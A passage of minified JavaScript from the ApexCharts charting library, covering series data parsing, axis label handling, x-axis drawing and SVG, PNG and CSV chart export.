t=this.w,e=t.config.noData,i=new m(this.ctx),a=t.globals.svgWidth/2,s=t.globals.svgHeight/2,r="middle";if(t.globals.noData=!0,t.globals.animationEnded=!0,"left"===e.align?(a=10,r="start"):"right"===e.align&&(a=t.globals.svgWidth-10,r="end"),"top"===e.verticalAlign?s=50:"bottom"===e.verticalAlign&&(s=t.globals.svgHeight-50),a+=e.offsetX,s=s+parseInt(e.style.fontSize,10)+2+e.offsetY,void 0!==e.text&&""!==e.text){var o=i.drawText({x:a,y:s,text:e.text,textAnchor:r,fontSize:e.style.fontSize,fontFamily:e.style.fontFamily,foreColor:e.style.color,opacity:1,class:"apexcharts-text-nodata"});t.globals.dom.Paper.add(o)}}},{key:"setNullSeriesToZeroValues",value:function(t){for(var e=this.w,i=0;i<t.length;i++)if(0===t[i].length)for(var a=0;a<t[e.globals.maxValsInArrayIndex].length;a++)t[i].push(0);return t}},{key:"hasAllSeriesEqualX",value:function(){for(var t=!0,e=this.w,i=this.filteredSeriesX(),a=0;a<i.length-1;a++)if(i[a][0]!==i[a+1][0]){t=!1;break}return e.globals.allSeriesHasEqualX=t,t}},{key:"filteredSeriesX",value:function(){var t=this.w.globals.seriesX.map((function(t){return t.length>0?t:[]}));return t}}]),t}(),W=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w,this.twoDSeries=[],this.threeDSeries=[],this.twoDSeriesX=[],this.seriesGoals=[],this.coreUtils=new y(this.ctx)}return r(t,[{key:"isMultiFormat",value:function(){return this.isFormatXY()||this.isFormat2DArray()}},{key:"isFormatXY",value:function(){var t=this.w.config.series.slice(),e=new N(this.ctx);if(this.activeSeriesIndex=e.getActiveConfigSeriesIndex(),void 0!==t[this.activeSeriesIndex].data&&t[this.activeSeriesIndex].data.length>0&&null!==t[this.activeSeriesIndex].data[0]&&void 0!==t[this.activeSeriesIndex].data[0].x&&null!==t[this.activeSeriesIndex].data[0])return!0}},{key:"isFormat2DArray",value:function(){var t=this.w.config.series.slice(),e=new N(this.ctx);if(this.activeSeriesIndex=e.getActiveConfigSeriesIndex(),void 0!==t[this.activeSeriesIndex].data&&t[this.activeSeriesIndex].data.length>0&&void 0!==t[this.activeSeriesIndex].data[0]&&null!==t[this.activeSeriesIndex].data[0]&&t[this.activeSeriesIndex].data[0].constructor===Array)return!0}},{key:"handleFormat2DArray",value:function(t,e){for(var i=this.w.config,a=this.w.globals,s="boxPlot"===i.chart.type||"boxPlot"===i.series[e].type,r=0;r<t[e].data.length;r++)if(void 0!==t[e].data[r][1]&&(Array.isArray(t[e].data[r][1])&&4===t[e].data[r][1].length&&!s?this.twoDSeries.push(x.parseNumber(t[e].data[r][1][3])):t[e].data[r].length>=5?this.twoDSeries.push(x.parseNumber(t[e].data[r][4])):this.twoDSeries.push(x.parseNumber(t[e].data[r][1])),a.dataFormatXNumeric=!0),"datetime"===i.xaxis.type){var o=new Date(t[e].data[r][0]);o=new Date(o).getTime(),this.twoDSeriesX.push(o)}else this.twoDSeriesX.push(t[e].data[r][0]);for(var n=0;n<t[e].data.length;n++)void 0!==t[e].data[n][2]&&(this.threeDSeries.push(t[e].data[n][2]),a.isDataXYZ=!0)}},{key:"handleFormatXY",value:function(t,e){var i=this.w.config,a=this.w.globals,s=new I(this.ctx),r=e;a.collapsedSeriesIndices.indexOf(e)>-1&&(r=this.activeSeriesIndex);for(var o=0;o<t[e].data.length;o++)void 0!==t[e].data[o].y&&(Array.isArray(t[e].data[o].y)?this.twoDSeries.push(x.parseNumber(t[e].data[o].y[t[e].data[o].y.length-1])):this.twoDSeries.push(x.parseNumber(t[e].data[o].y))),void 0!==t[e].data[o].goals&&Array.isArray(t[e].data[o].goals)?(void 0===this.seriesGoals[e]&&(this.seriesGoals[e]=[]),this.seriesGoals[e].push(t[e].data[o].goals)):(void 0===this.seriesGoals[e]&&(this.seriesGoals[e]=[]),this.seriesGoals[e].push(null));for(var n=0;n<t[r].data.length;n++){var l="string"==typeof t[r].data[n].x,h=Array.isArray(t[r].data[n].x),c=!h&&!!s.isValidDate(t[r].data[n].x.toString());if(l||c)if(l||i.xaxis.convertedCatToNumeric){var d=a.isBarHorizontal&&a.isRangeData;"datetime"!==i.xaxis.type||d?(this.fallbackToCategory=!0,this.twoDSeriesX.push(t[r].data[n].x)):this.twoDSeriesX.push(s.parseDate(t[r].data[n].x))}else"datetime"===i.xaxis.type?this.twoDSeriesX.push(s.parseDate(t[r].data[n].x.toString())):(a.dataFormatXNumeric=!0,a.isXNumeric=!0,this.twoDSeriesX.push(parseFloat(t[r].data[n].x)));else h?(this.fallbackToCategory=!0,this.twoDSeriesX.push(t[r].data[n].x)):(a.isXNumeric=!0,a.dataFormatXNumeric=!0,this.twoDSeriesX.push(t[r].data[n].x))}if(t[e].data[0]&&void 0!==t[e].data[0].z){for(var g=0;g<t[e].data.length;g++)this.threeDSeries.push(t[e].data[g].z);a.isDataXYZ=!0}}},{key:"handleRangeData",value:function(t,e){var i=this.w.globals,a={};return this.isFormat2DArray()?a=this.handleRangeDataFormat("array",t,e):this.isFormatXY()&&(a=this.handleRangeDataFormat("xy",t,e)),i.seriesRangeStart.push(a.start),i.seriesRangeEnd.push(a.end),i.seriesRange.push(a.rangeUniques),i.seriesRange.forEach((function(t,e){t&&t.forEach((function(t,e){t.y.forEach((function(e,i){for(var a=0;a<t.y.length;a++)if(i!==a){var s=e.y1,r=e.y2,o=t.y[a].y1;s<=t.y[a].y2&&o<=r&&(t.overlaps.indexOf(e.rangeName)<0&&t.overlaps.push(e.rangeName),t.overlaps.indexOf(t.y[a].rangeName)<0&&t.overlaps.push(t.y[a].rangeName))}}))}))})),a}},{key:"handleCandleStickBoxData",value:function(t,e){var i=this.w.globals,a={};return this.isFormat2DArray()?a=this.handleCandleStickBoxDataFormat("array",t,e):this.isFormatXY()&&(a=this.handleCandleStickBoxDataFormat("xy",t,e)),i.seriesCandleO[e]=a.o,i.seriesCandleH[e]=a.h,i.seriesCandleM[e]=a.m,i.seriesCandleL[e]=a.l,i.seriesCandleC[e]=a.c,a}},{key:"handleRangeDataFormat",value:function(t,e,i){var a=[],s=[],r=e[i].data.filter((function(t,e,i){return e===i.findIndex((function(e){return e.x===t.x}))})).map((function(t,e){return{x:t.x,overlaps:[],y:[]}}));if("array"===t)for(var o=0;o<e[i].data.length;o++)Array.isArray(e[i].data[o])?(a.push(e[i].data[o][1][0]),s.push(e[i].data[o][1][1])):(a.push(e[i].data[o]),s.push(e[i].data[o]));else if("xy"===t)for(var n=function(t){var o=Array.isArray(e[i].data[t].y),n=x.randomId(),l=e[i].data[t].x,h={y1:o?e[i].data[t].y[0]:e[i].data[t].y,y2:o?e[i].data[t].y[1]:e[i].data[t].y,rangeName:n};e[i].data[t].rangeName=n;var c=r.findIndex((function(t){return t.x===l}));r[c].y.push(h),a.push(h.y1),s.push(h.y2)},l=0;l<e[i].data.length;l++)n(l);return{start:a,end:s,rangeUniques:r}}},{key:"handleCandleStickBoxDataFormat",value:function(t,e,i){var a=this.w,s="boxPlot"===a.config.chart.type||"boxPlot"===a.config.series[i].type,r=[],o=[],n=[],l=[],h=[];if("array"===t)if(s&&6===e[i].data[0].length||!s&&5===e[i].data[0].length)for(var c=0;c<e[i].data.length;c++)r.push(e[i].data[c][1]),o.push(e[i].data[c][2]),s?(n.push(e[i].data[c][3]),l.push(e[i].data[c][4]),h.push(e[i].data[c][5])):(l.push(e[i].data[c][3]),h.push(e[i].data[c][4]));else for(var d=0;d<e[i].data.length;d++)Array.isArray(e[i].data[d][1])&&(r.push(e[i].data[d][1][0]),o.push(e[i].data[d][1][1]),s?(n.push(e[i].data[d][1][2]),l.push(e[i].data[d][1][3]),h.push(e[i].data[d][1][4])):(l.push(e[i].data[d][1][2]),h.push(e[i].data[d][1][3])));else if("xy"===t)for(var g=0;g<e[i].data.length;g++)Array.isArray(e[i].data[g].y)&&(r.push(e[i].data[g].y[0]),o.push(e[i].data[g].y[1]),s?(n.push(e[i].data[g].y[2]),l.push(e[i].data[g].y[3]),h.push(e[i].data[g].y[4])):(l.push(e[i].data[g].y[2]),h.push(e[i].data[g].y[3])));return{o:r,h:o,m:n,l:l,c:h}}},{key:"parseDataAxisCharts",value:function(t){var e,i=this,a=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.ctx,s=this.w.config,r=this.w.globals,o=new I(a),n=s.labels.length>0?s.labels.slice():s.xaxis.categories.slice();if(r.isRangeBar="rangeBar"===s.chart.type&&r.isBarHorizontal,r.hasXaxisGroups="category"===s.xaxis.type&&s.xaxis.group.groups.length>0,r.hasXaxisGroups&&(r.groups=s.xaxis.group.groups),r.hasSeriesGroups=null===(e=t[0])||void 0===e?void 0:e.group,r.hasSeriesGroups){var l=[],h=u(new Set(t.map((function(t){return t.group}))));t.forEach((function(t,e){var i=h.indexOf(t.group);l[i]||(l[i]=[]),l[i].push(t.name)})),r.seriesGroups=l}for(var c=function(){for(var t=0;t<n.length;t++)if("string"==typeof n[t]){if(!o.isValidDate(n[t]))throw new Error("You have provided invalid Date format. Please provide a valid JavaScript Date");i.twoDSeriesX.push(o.parseDate(n[t]))}else i.twoDSeriesX.push(n[t])},d=0;d<t.length;d++){if(this.twoDSeries=[],this.twoDSeriesX=[],this.threeDSeries=[],void 0===t[d].data)return void console.error("It is a possibility that you may have not included 'data' property in series.");if("rangeBar"!==s.chart.type&&"rangeArea"!==s.chart.type&&"rangeBar"!==t[d].type&&"rangeArea"!==t[d].type||(r.isRangeData=!0,r.isComboCharts?"rangeBar"!==t[d].type&&"rangeArea"!==t[d].type||this.handleRangeData(t,d):"rangeBar"!==s.chart.type&&"rangeArea"!==s.chart.type||this.handleRangeData(t,d)),this.isMultiFormat())this.isFormat2DArray()?this.handleFormat2DArray(t,d):this.isFormatXY()&&this.handleFormatXY(t,d),"candlestick"!==s.chart.type&&"candlestick"!==t[d].type&&"boxPlot"!==s.chart.type&&"boxPlot"!==t[d].type||this.handleCandleStickBoxData(t,d),r.series.push(this.twoDSeries),r.labels.push(this.twoDSeriesX),r.seriesX.push(this.twoDSeriesX),r.seriesGoals=this.seriesGoals,d!==this.activeSeriesIndex||this.fallbackToCategory||(r.isXNumeric=!0);else{"datetime"===s.xaxis.type?(r.isXNumeric=!0,c(),r.seriesX.push(this.twoDSeriesX)):"numeric"===s.xaxis.type&&(r.isXNumeric=!0,n.length>0&&(this.twoDSeriesX=n,r.seriesX.push(this.twoDSeriesX))),r.labels.push(this.twoDSeriesX);var g=t[d].data.map((function(t){return x.parseNumber(t)}));r.series.push(g)}r.seriesZ.push(this.threeDSeries),void 0!==t[d].name?r.seriesNames.push(t[d].name):r.seriesNames.push("series-"+parseInt(d+1,10)),void 0!==t[d].color?r.seriesColors.push(t[d].color):r.seriesColors.push(void 0)}return this.w}},{key:"parseDataNonAxisCharts",value:function(t){var e=this.w.globals,i=this.w.config;e.series=t.slice(),e.seriesNames=i.labels.slice();for(var a=0;a<e.series.length;a++)void 0===e.seriesNames[a]&&e.seriesNames.push("series-"+(a+1));return this.w}},{key:"handleExternalLabelsData",value:function(t){var e=this.w.config,i=this.w.globals;if(e.xaxis.categories.length>0)i.labels=e.xaxis.categories;else if(e.labels.length>0)i.labels=e.labels.slice();else if(this.fallbackToCategory){if(i.labels=i.labels[0],i.seriesRange.length&&(i.seriesRange.map((function(t){t.forEach((function(t){i.labels.indexOf(t.x)<0&&t.x&&i.labels.push(t.x)}))})),i.labels=Array.from(new Set(i.labels.map(JSON.stringify)),JSON.parse)),e.xaxis.convertedCatToNumeric)new z(e).convertCatToNumericXaxis(e,this.ctx,i.seriesX[0]),this._generateExternalLabels(t)}else this._generateExternalLabels(t)}},{key:"_generateExternalLabels",value:function(t){var e=this.w.globals,i=this.w.config,a=[];if(e.axisCharts){if(e.series.length>0)if(this.isFormatXY())for(var s=i.series.map((function(t,e){return t.data.filter((function(t,e,i){return i.findIndex((function(e){return e.x===t.x}))===e}))})),r=s.reduce((function(t,e,i,a){return a[t].length>e.length?t:i}),0),o=0;o<s[r].length;o++)a.push(o+1);else for(var n=0;n<e.series[e.maxValsInArrayIndex].length;n++)a.push(n+1);e.seriesX=[];for(var l=0;l<t.length;l++)e.seriesX.push(a);e.isXNumeric=!0}if(0===a.length){a=e.axisCharts?[]:e.series.map((function(t,e){return e+1}));for(var h=0;h<t.length;h++)e.seriesX.push(a)}e.labels=a,i.xaxis.convertedCatToNumeric&&(e.categoryLabels=a.map((function(t){return i.xaxis.labels.formatter(t)}))),e.noLabelsProvided=!0}},{key:"parseData",value:function(t){var e=this.w,i=e.config,a=e.globals;if(this.excludeCollapsedSeriesInYAxis(),this.fallbackToCategory=!1,this.ctx.core.resetGlobals(),this.ctx.core.isMultipleY(),a.axisCharts?(this.parseDataAxisCharts(t),this.coreUtils.getLargestSeries()):this.parseDataNonAxisCharts(t),i.chart.stacked){var s=new N(this.ctx);a.series=s.setNullSeriesToZeroValues(a.series)}this.coreUtils.getSeriesTotals(),a.axisCharts&&(a.stackedSeriesTotals=this.coreUtils.getStackedSeriesTotals()),this.coreUtils.getPercentSeries(),a.dataFormatXNumeric||a.isXNumeric&&("numeric"!==i.xaxis.type||0!==i.labels.length||0!==i.xaxis.categories.length)||this.handleExternalLabelsData(t);for(var r=this.coreUtils.getCategoryLabels(a.labels),o=0;o<r.length;o++)if(Array.isArray(r[o])){a.isMultiLineX=!0;break}}},{key:"excludeCollapsedSeriesInYAxis",value:function(){var t=this,e=this.w;e.globals.ignoreYAxisIndexes=e.globals.collapsedSeries.map((function(i,a){if(t.w.globals.isMultipleYAxis&&!e.config.chart.stacked)return i.index}))}}]),t}(),B=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w}return r(t,[{key:"getLabel",value:function(t,e,i,a){var s=arguments.length>4&&void 0!==arguments[4]?arguments[4]:[],r=arguments.length>5&&void 0!==arguments[5]?arguments[5]:"12px",o=!(arguments.length>6&&void 0!==arguments[6])||arguments[6],n=this.w,l=void 0===t[a]?"":t[a],h=l,c=n.globals.xLabelFormatter,d=n.config.xaxis.labels.formatter,g=!1,u=new T(this.ctx),p=l;o&&(h=u.xLabelFormat(c,l,p,{i:a,dateFormatter:new I(this.ctx).formatDate,w:n}),void 0!==d&&(h=d(l,t[a],{i:a,dateFormatter:new I(this.ctx).formatDate,w:n})));var f,x;e.length>0?(f=e[a].unit,x=null,e.forEach((function(t){"month"===t.unit?x="year":"day"===t.unit?x="month":"hour"===t.unit?x="day":"minute"===t.unit&&(x="hour")})),g=x===f,i=e[a].position,h=e[a].value):"datetime"===n.config.xaxis.type&&void 0===d&&(h=""),void 0===h&&(h=""),h=Array.isArray(h)?h:h.toString();var b=new m(this.ctx),v={};v=n.globals.rotateXLabels&&o?b.getTextRects(h,parseInt(r,10),null,"rotate(".concat(n.config.xaxis.labels.rotate," 0 0)"),!1):b.getTextRects(h,parseInt(r,10));var y=!n.config.xaxis.labels.showDuplicates&&this.ctx.timeScale;return!Array.isArray(h)&&(0===h.indexOf("NaN")||0===h.toLowerCase().indexOf("invalid")||h.toLowerCase().indexOf("infinity")>=0||s.indexOf(h)>=0&&y)&&(h=""),{x:i,text:h,textRect:v,isBold:g}}},{key:"checkLabelBasedOnTickamount",value:function(t,e,i){var a=this.w,s=a.config.xaxis.tickAmount;return"dataPoints"===s&&(s=Math.round(a.globals.gridWidth/120)),s>i||t%Math.round(i/(s+1))==0||(e.text=""),e}},{key:"checkForOverflowingLabels",value:function(t,e,i,a,s){var r=this.w;if(0===t&&r.globals.skipFirstTimelinelabel&&(e.text=""),t===i-1&&r.globals.skipLastTimelinelabel&&(e.text=""),r.config.xaxis.labels.hideOverlappingLabels&&a.length>0){var o=s[s.length-1];e.x<o.textRect.width/(r.globals.rotateXLabels?Math.abs(r.config.xaxis.labels.rotate)/12:1.01)+o.x&&(e.text="")}return e}},{key:"checkForReversedLabels",value:function(t,e){var i=this.w;return i.config.yaxis[t]&&i.config.yaxis[t].reversed&&e.reverse(),e}},{key:"isYAxisHidden",value:function(t){var e=this.w,i=new y(this.ctx);return!e.config.yaxis[t].show||!e.config.yaxis[t].showForNullSeries&&i.isSeriesNull(t)&&-1===e.globals.collapsedSeriesIndices.indexOf(t)}},{key:"getYAxisForeColor",value:function(t,e){var i=this.w;return Array.isArray(t)&&i.globals.yAxisScale[e]&&this.ctx.theme.pushExtraColors(t,i.globals.yAxisScale[e].result.length,!1),t}},{key:"drawYAxisTicks",value:function(t,e,i,a,s,r,o){var n=this.w,l=new m(this.ctx),h=n.globals.translateY;if(a.show&&e>0){!0===n.config.yaxis[s].opposite&&(t+=a.width);for(var c=e;c>=0;c--){var d=h+e/10+n.config.yaxis[s].labels.offsetY-1;n.globals.isBarHorizontal&&(d=r*c),"heatmap"===n.config.chart.type&&(d+=r/2);var g=l.drawLine(t+i.offsetX-a.width+a.offsetX,d+a.offsetY,t+i.offsetX+a.offsetX,d+a.offsetY,a.color);o.add(g),h+=r}}}}]),t}(),G=function(){function t(e){a(this,t),this.ctx=e,this.w=e.w}return r(t,[{key:"scaleSvgNode",value:function(t,e){var i=parseFloat(t.getAttributeNS(null,"width")),a=parseFloat(t.getAttributeNS(null,"height"));t.setAttributeNS(null,"width",i*e),t.setAttributeNS(null,"height",a*e),t.setAttributeNS(null,"viewBox","0 0 "+i+" "+a)}},{key:"fixSvgStringForIe11",value:function(t){if(!x.isIE11())return t.replace(/&nbsp;/g,"&#160;");var e=0,i=t.replace(/xmlns="http:\/\/www.w3.org\/2000\/svg"/g,(function(t){return 2===++e?'xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:svgjs="http://svgjs.dev"':t}));return i=(i=i.replace(/xmlns:NS\d+=""/g,"")).replace(/NS\d+:(\w+:\w+=")/g,"$1")}},{key:"getSvgString",value:function(t){null==t&&(t=1);var e=this.w.globals.dom.Paper.svg();if(1!==t){var i=this.w.globals.dom.Paper.node.cloneNode(!0);this.scaleSvgNode(i,t),e=(new XMLSerializer).serializeToString(i)}return this.fixSvgStringForIe11(e)}},{key:"cleanup",value:function(){var t=this.w,e=t.globals.dom.baseEl.getElementsByClassName("apexcharts-xcrosshairs"),i=t.globals.dom.baseEl.getElementsByClassName("apexcharts-ycrosshairs"),a=t.globals.dom.baseEl.querySelectorAll(".apexcharts-zoom-rect, .apexcharts-selection-rect");Array.prototype.forEach.call(a,(function(t){t.setAttribute("width",0)})),e&&e[0]&&(e[0].setAttribute("x",-500),e[0].setAttribute("x1",-500),e[0].setAttribute("x2",-500)),i&&i[0]&&(i[0].setAttribute("y",-100),i[0].setAttribute("y1",-100),i[0].setAttribute("y2",-100))}},{key:"svgUrl",value:function(){this.cleanup();var t=this.getSvgString(),e=new Blob([t],{type:"image/svg+xml;charset=utf-8"});return URL.createObjectURL(e)}},{key:"dataURI",value:function(t){var e=this;return new Promise((function(i){var a=e.w,s=t?t.scale||t.width/a.globals.svgWidth:1;e.cleanup();var r=document.createElement("canvas");r.width=a.globals.svgWidth*s,r.height=parseInt(a.globals.dom.elWrap.style.height,10)*s;var o="transparent"===a.config.chart.background?"#fff":a.config.chart.background,n=r.getContext("2d");n.fillStyle=o,n.fillRect(0,0,r.width*s,r.height*s);var l=e.getSvgString(s);if(window.canvg&&x.isIE11()){var h=window.canvg.Canvg.fromString(n,l,{ignoreClear:!0,ignoreDimensions:!0});h.start();var c=r.msToBlob();h.stop(),i({blob:c})}else{var d="data:image/svg+xml,"+encodeURIComponent(l),g=new Image;g.crossOrigin="anonymous",g.onload=function(){if(n.drawImage(g,0,0),r.msToBlob){var t=r.msToBlob();i({blob:t})}else{var e=r.toDataURL("image/png");i({imgURI:e})}},g.src=d}}))}},{key:"exportToSVG",value:function(){this.triggerDownload(this.svgUrl(),this.w.config.chart.toolbar.export.svg.filename,".svg")}},{key:"exportToPng",value:function(){var t=this;this.dataURI().then((function(e){var i=e.imgURI,a=e.blob;a?navigator.msSaveOrOpenBlob(a,t.w.globals.chartID+".png"):t.triggerDownload(i,t.w.config.chart.toolbar.export.png.filename,".png")}))}},{key:"exportToCSV",value:function(t){var e=this,i=t.series,a=t.fileName,s=t.columnDelimiter,r=void 0===s?",":s,o=t.lineDelimiter,n=void 0===o?"\n":o,l=this.w;i||(i=l.config.series);var h=[],c=[],d="",g=l.globals.series.map((function(t,e){return-1===l.globals.collapsedSeriesIndices.indexOf(e)?t:[]})),p=Math.max.apply(Math,u(i.map((function(t){return t.data?t.data.length:0})))),f=new W(this.ctx),b=new B(this.ctx),v=function(t){var i="";if(l.globals.axisCharts){if("category"===l.config.xaxis.type||l.config.xaxis.convertedCatToNumeric)if(l.globals.isBarHorizontal){var a=l.globals.yLabelFormatters[0],s=new N(e.ctx).getActiveConfigSeriesIndex();i=a(l.globals.labels[t],{seriesIndex:s,dataPointIndex:t,w:l})}else i=b.getLabel(l.globals.labels,l.globals.timescaleLabels,0,t).text;"datetime"===l.config.xaxis.type&&(l.config.xaxis.categories.length?i=l.config.xaxis.categories[t]:l.config.labels.length&&(i=l.config.labels[t]))}else i=l.config.labels[t];return Array.isArray(i)&&(i=i.join(" ")),x.isNumber(i)?i:i.split(r).join("")},m=function(t,e){if(h.length&&0===e&&c.push(h.join(r)),t.data){t.data=t.data.length&&t.data||u(Array(p)).map((function(){return""}));for(var a=0;a<t.data.length;a++){h=[];var s=v(a);if(s||(f.isFormatXY()?s=i[e].data[a].x:f.isFormat2DArray()&&(s=i[e].data[a]?i[e].data[a][0]:"")),0===e){h.push((n=s,"datetime"===l.config.xaxis.type&&String(n).length>=10?l.config.chart.toolbar.export.csv.dateFormatter(s):x.isNumber(s)?s:s.split(r).join("")));for(var o=0;o<l.globals.series.length;o++)f.isFormatXY()?h.push(i[o].data[a].y):h.push(g[o][a])}("candlestick"===l.config.chart.type||t.type&&"candlestick"===t.type)&&(h.pop(),h.push(l.globals.seriesCandleO[e][a]),h.push(l.globals.seriesCandleH[e][a]),h.push(l.globals.seriesCandleL[e][a]),h.push(l.globals.seriesCandleC[e][a])),("boxPlot"===l.config.chart.type||t.type&&"boxPlot"===t.type)&&(h.pop(),h.push(l.globals.seriesCandleO[e][a]),h.push(l.globals.seriesCandleH[e][a]),h.push(l.globals.seriesCandleM[e][a]),h.push(l.globals.seriesCandleL[e][a]),h.push(l.globals.seriesCandleC[e][a])),"rangeBar"===l.config.chart.type&&(h.pop(),h.push(l.globals.seriesRangeStart[e][a]),h.push(l.globals.seriesRangeEnd[e][a])),h.length&&c.push(h.join(r))}}var n};h.push(l.config.chart.toolbar.export.csv.headerCategory),"boxPlot"===l.config.chart.type?(h.push("minimum"),h.push("q1"),h.push("median"),h.push("q3"),h.push("maximum")):"candlestick"===l.config.chart.type?(h.push("open"),h.push("high"),h.push("low"),h.push("close")):"rangeBar"===l.config.chart.type?(h.push("minimum"),h.push("maximum")):i.map((function(t,e){var i=t.name?t.name:"series-".concat(e);l.globals.axisCharts&&h.push(i.split(r).join("")?i.split(r).join(""):"series-".concat(e))})),l.globals.axisCharts||(h.push(l.config.chart.toolbar.export.csv.headerValue),c.push(h.join(r))),i.map((function(t,e){l.globals.axisCharts?m(t,e):((h=[]).push(l.globals.labels[e].split(r).join("")),h.push(g[e]),c.push(h.join(r)))})),d+=c.join(n),this.triggerDownload("data:text/csv; charset=utf-8,"+encodeURIComponent("\ufeff"+d),a||l.config.chart.toolbar.export.csv.filename,".csv")}},{key:"triggerDownload",value:function(t,e,i){var a=document.createElement("a");a.href=t,a.download=(e||this.w.globals.chartID)+i,document.body.appendChild(a),a.click(),document.body.removeChild(a)}}]),t}(),V=function(){function t(e,i){a(this,t),this.ctx=e,this.elgrid=i,this.w=e.w;var s=this.w;this.axesUtils=new B(e),this.xaxisLabels=s.globals.labels.slice(),s.globals.timescaleLabels.length>0&&!s.globals.isBarHorizontal&&(this.xaxisLabels=s.globals.timescaleLabels.slice()),s.config.xaxis.overwriteCategories&&(this.xaxisLabels=s.config.xaxis.overwriteCategories),this.drawnLabels=[],this.drawnLabelsRects=[],"top"===s.config.xaxis.position?this.offY=0:this.offY=s.globals.gridHeight+1,this.offY=this.offY+s.config.xaxis.axisBorder.offsetY,this.isCategoryBarHorizontal="bar"===s.config.chart.type&&s.config.plotOptions.bar.horizontal,this.xaxisFontSize=s.config.xaxis.labels.style.fontSize,this.xaxisFontFamily=s.config.xaxis.labels.style.fontFamily,this.xaxisForeColors=s.config.xaxis.labels.style.colors,this.xaxisBorderWidth=s.config.xaxis.axisBorder.width,this.isCategoryBarHorizontal&&(this.xaxisBorderWidth=s.config.yaxis[0].axisBorder.width.toString()),this.xaxisBorderWidth.indexOf("%")>-1?this.xaxisBorderWidth=s.globals.gridWidth*parseInt(this.xaxisBorderWidth,10)/100:this.xaxisBorderWidth=parseInt(this.xaxisBorderWidth,10),this.xaxisBorderHeight=s.config.xaxis.axisBorder.height,this.yaxis=s.config.yaxis[0]}return r(t,[{key:"drawXaxis",value:function(){var t=this.w,e=new m(this.ctx),i=e.group({class:"apexcharts-xaxis",transform:"translate(".concat(t.config.xaxis.offsetX,", ").concat(t.config.xaxis.offsetY,")")}),a=e.group({class:"apexcharts-xaxis-texts-g",transform:"translate(".concat(t.globals.translateXAxisX,", ").concat(t.globals.translateXAxisY,")")});i.add(a);for(var s=[],r=0;r<this.xaxisLabels.length;r++)s.push(this.xaxisLabels[r]);if(this.drawXAxisLabelAndGroup(!0,e,a,s,t.globals.isXNumeric,(function(t,e){return e})),t.globals.hasXaxisGroups){var o=t.globals.groups;s=[];for(var n=0;n<o.length;n++)s.push(o[n].title);var l={};t.config.xaxis.group.style&&(l.xaxisFontSize=t.config.xaxis.group.style.fontSize,l.xaxisFontFamily=t.config.xaxis.group.style.fontFamily,l.xaxisForeColors=t.config.xaxis.group.style.colors,l.fontWeight=t.config.xaxis.group.style.fontWeight,l.cssClass=t.config.xaxis.group.style.cssClass),this.drawXAxisLabelAndGroup(!1,e,a,s,!1,(function(t,e){return o[t].cols*e}),l)}if(void 0!==t.config.xaxis.title.text){var h=e.group({class:"apexcharts-xaxis-title"}),c=e.drawText({x:t.globals.gridWidth/2+t.config.xaxis.title.offsetX,y:this.offY+parseFloat(this.xaxisFontSize)+("bottom"===t.config.xaxis.position?t.globals.xAxisLabelsHeight:-t.globals.xAxisLabelsHeight-10)+t.config.xaxis.title.offsetY,text:t.config.xaxis.title.text,textAnchor:"middle",fontSize:t.config.xaxis.title.style.fontSize,fontFamily:t.config.xaxis.title.style.fontFamily,fontWeight:t.config.xaxis.title.style.fontWeight,foreColor:t.config.xaxis.title.style.color,cssClass:"apexcharts-xaxis-title-text "+t.config.xaxis.title.style.cssClass});h.add(c),i.add(h)}if(t.config.xaxis.axisBorder.show){var d=t.globals.barPadForNumericAxis,g=e.drawLine(t.globals.padHorizontal+t.config.xaxis.axisBorder.offsetX-d,this.offY,this.xaxisBorderWidth+d,this.offY,t.config.xaxis.axisBorder.color,0,this.xaxisBorderHeight);this.elgrid&&this.elgrid.elGridBorders&&t.config.grid.show?this.elgrid.elGridBorders.add(g):i.add(g)}return i}},{key:"drawXAxisLabelAndGroup",value:function(t,e,i,a,s,r){var o,n=this,l=arguments.length>6&&void 0!==arguments[6]?arguments[6]:{},h=[],c=[],d=this.w,g=l.xaxisFontSize||this.xaxisFontSize,u=l.xaxisFontFamily||this.xaxisFontFamily,p=l.xaxisForeColors||this.xaxisForeColors,f=l.fontWeight||d.config.xaxis.labels.style.fontWeight,x=l.cssClass||d.config.xaxis.labels.style.cssClass,b=d.globals.padHorizontal,v=a.length,m="category"===d.config.xaxis.type?d.globals.dataPoints:v;if(0===m&&v>m&&(m=v),s){var y=m>1?m-1:m;o=d.globals.gridWidth/y,b=b+r(0,o)/2+d.config.xaxis.labels.offsetX}else o=d.globals.gridWidth/m,b=b+r(0,o)+d.config.xaxis.labels.offsetX;for(var w=function(s){var l=b-r(s,o)/2+d.config.xaxis.labels.offsetX;0===s&&1===v&&o/2===b&&1===m&&(l=d.globals.gridWidth/2);var y=n.axesUtils.getLabel(a,d.globals.timescaleLabels,l,s,h,g,t),w=28;d.globals.rotateXLabels&&t&&(w=22),d.config.xaxis.title.text&&"top"===d.config.xaxis.position&&(w+=parseFloat(d.config.xaxis.title.style.fontSize)+2),t||(w=w+parseFloat(g)+(d.globals.xAxisLabelsHeight-d.globals.xAxisGroupLabelsHeight)+(d.globals.rotateXLabels?10:0)),y=void 0!==d.config.xaxis.tickAmount&&"dataPoints"!==d.config.xaxis.tickAmount&&"datetime"!==d.config.xaxis.type?n.axesUtils.checkLabelBasedOnTickamount(s,y,v):n.axesUtils.checkForOverflowingLabels(s,y,v,h,c);if(d.config.xaxis.labels.show){var k=e.drawText({x:y.x,y:n.offY+d.config.xaxis.labels.offsetY+w-("top"===d.config.xaxis.position?d.globals.xAxisHeight+d.config.xaxis.axisTicks.height-2:0),text:y.text,textAnchor:"middle",fontWeight:y.isBold?600:f,fontSize:g,fontFamily:u,foreColor:Array.isArray(p)?t&&d.config.xaxis.convertedCatToNumeric?p[d.globals.minX+s-1]:p[s]:p,isPlainText:!1,cssClass:(t?"apexcharts-xaxis-label ":"apexcharts-xaxis-group-label ")+x});if(i.add(k),k.on("click",(function(t){if("function"==typeof d.config.chart.events.xAxisLabelClick){var e=Object.assign({},d,{labelIndex:s});d.config.chart.events.xAxisLabelClick(t,n.ctx,e)}})),t){var A=document.createElementNS(d.globals.SVGNS,"title");A.textContent=Array.isArray(y.text)?y.text.join(" "):y.text,k.node.appendChild(A),""!==y.text&&(h.push(y.text),c.push(y))}}s<v-1&&(b+=r(s+1,o))},k=0;k<=v-1;k++)w(k)}},{key:"drawXaxisInversed",value:function(t){var e,i,a=this,s=this.w,r=new 